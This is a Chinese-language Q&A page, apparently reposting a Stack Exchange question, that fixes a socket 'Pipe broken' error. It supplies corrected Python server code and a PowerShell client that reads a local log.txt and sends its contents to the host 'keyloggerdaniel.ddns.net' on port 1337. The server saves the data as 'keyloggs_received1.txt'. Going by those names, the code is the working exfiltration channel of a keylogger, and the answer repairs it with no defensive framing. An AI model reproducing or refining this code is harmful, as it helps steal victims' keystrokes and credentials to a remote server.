You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何通过PowerShell向Python服务器发送字符串并解决Pipe broken报错

Pipe broken错误修复方案

错误截图

核心问题原因

  • 协议不匹配:服务端设定先接收64字节的消息长度头,再读取对应长度的实际内容,但PowerShell客户端完全没有发送长度头的逻辑,直接发送文本内容,服务端会把收到的文本内容错误解析为长度值,后续逻辑完全错乱。
  • 服务端逻辑错误:首次接收到内容写入文件后直接调用file.close(),如果后续还有内容要写入会直接触发IO错误;同时服务端每次循环都会尝试向客户端回发确认消息,但客户端发完内容直接关闭了套接字,服务端尝试向已关闭的连接发数据就会触发Pipe broken错误。
  • 客户端逻辑错误:StreamWriter自带缓冲区,调用WriteLine后没有调用Flush()方法,可能存在内容还没完全发送就关闭套接字的情况;且发送完成后直接关闭连接,没有等待服务端的确认返回,提前断开连接导致服务端回发消息失败。

修正后的服务端代码

import socket
import threading

PORT = 1337
SERVER = 'keyloggerdaniel.ddns.net'
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(5)

def handle_client(conn, addr):
    print(f"[NEW CONNECTION] {addr} connected.")
    filename = "keyloggs_received1.txt"
    # 用with语句自动管理文件关闭,避免提前关闭的问题
    with open(filename, 'wb') as file:
        connected = True
        while connected:
            # 直接接收数据,每次最多收1024字节,recv返回空代表客户端已断开连接
            msg = conn.recv(1024)
            if not msg:
                connected = False
                break
            file.write(msg)
    # 所有数据接收完成后再回发确认
    try:
        conn.send("Msg received".encode(FORMAT))
    except:
        pass
    print("File has been received successfully.")
    conn.close()

def start():
    print(f"[LISTENING] Server is listening on {SERVER}")
    while True:
        conn, addr = server.accept()
        thread = threading.Thread(target=handle_client, args=(conn, addr))
        thread.start()
        print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}")

print("[STARTING] server is starting...")
start()

修正后的PowerShell代码

$file = "C:\Users\Daniel Maderner\log.txt"
# 用Raw参数一次性读取全部内容,避免换行符丢失
$file_Content = Get-Content $file -Raw
$socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$writer.WriteLine($file_Content);
# 强制刷新缓冲区,确保所有内容都发送出去
$writer.Flush();
# 等待接收服务端的确认消息
$buffer = New-Object System.Byte[] 1024
$readLength = $stream.Read($buffer, 0, $buffer.Length)
$response = [System.Text.Encoding]::UTF8.GetString($buffer, 0, $readLength)
Write-Host "服务端返回:$response"
# 收到确认后再关闭连接
$socket.close()

内容的提问来源于stack exchange,提问作者user15951700

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.02 13:54:00